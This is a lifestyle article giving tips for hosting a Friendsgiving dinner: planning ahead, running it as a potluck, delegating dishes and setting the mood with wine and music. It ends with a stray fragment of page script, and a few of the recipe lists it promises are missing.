Hosting the Perfect Thanksgiving with Friends

Though it may still be the host’s duty to take the lead and prepare the main entree, the process doesn’t have to be a chore. Make sure to plan your meal a few weeks ahead and have a strategy for the days leading up to the event, to allow yourself ample time for cooking. It’s also a good idea to have one or two your guests become part of your inner circle. Let them in on the arrangements, and call on them to help cook if need be. But if things go awry, don’t panic. Remember that some things are out of your control. That unknown place between the best-laid plans and what actually happens is often where we have the biggest laughs and the best memories.

Keep It Simple and Be Open to the Nontraditional

Grandma’s recipes don’t lie: the most delicious meals are often the simplest, using a few fresh and flavorful ingredients. That being said, don’t be afraid to dip your toe into uncharted territory. A meal outside your comfort zone might be the best thing you’ve ever tasted. It’s also important to know yourself, and your audience: Are they traditional? Experimental? Are you and your friends itching to try something new, or do you prefer the classics? Before the big night, poll your guests to get a feel for the type of dishes they might enjoy. Here are five simple Thanksgiving meals that might expand your horizons as a chef:

Have a Potluck

The best part about throwing a “Friendsgiving” is collaboration and camaraderie. As a host, you may assume the majority of cooking duties, but you are certainly not alone. Think of it as a potluck, and enlist your friends to bring their favorite dishes too. If you have a great cook in your friend group, take advantage of their skills to tackle more challenging recipes, or even seek their expertise for the entree. Get inspired with these unique side dishes that put a twist on the classics:

Invite Close Friends You Can Count On

You know your friends better than anyone, so make sure to ask for help from the ones who will keep the night organized and enjoyable. You don’t want the day to arrive only to find you’re faced with duplicate green bean casseroles, five different types of potatoes, and nothing else. To keep the event low-stress, be sure to delegate dishes based on your friends’ preferences well in advance. Invite close friends who will get on board with the easygoing spirit of cooperation.

Toast the Occasion with Good Wine and Great Music

When the meal is said and done, don’t forget that you’re here to spend a fun evening with people you love. People you’ve chosen to love, at that. So live it up! Nothing makes a get-together memorable like good food, great wine, and the right music. It may be a rare opportunity for everyone to pause their busy lives to be in the same place at the same time, so remember to relax and enjoy the time you spend together. (You can worry about clean-up later). For a unique playlist of some great music to go along with your Thanksgiving theme, check out Vogue’s playlist on Spotify.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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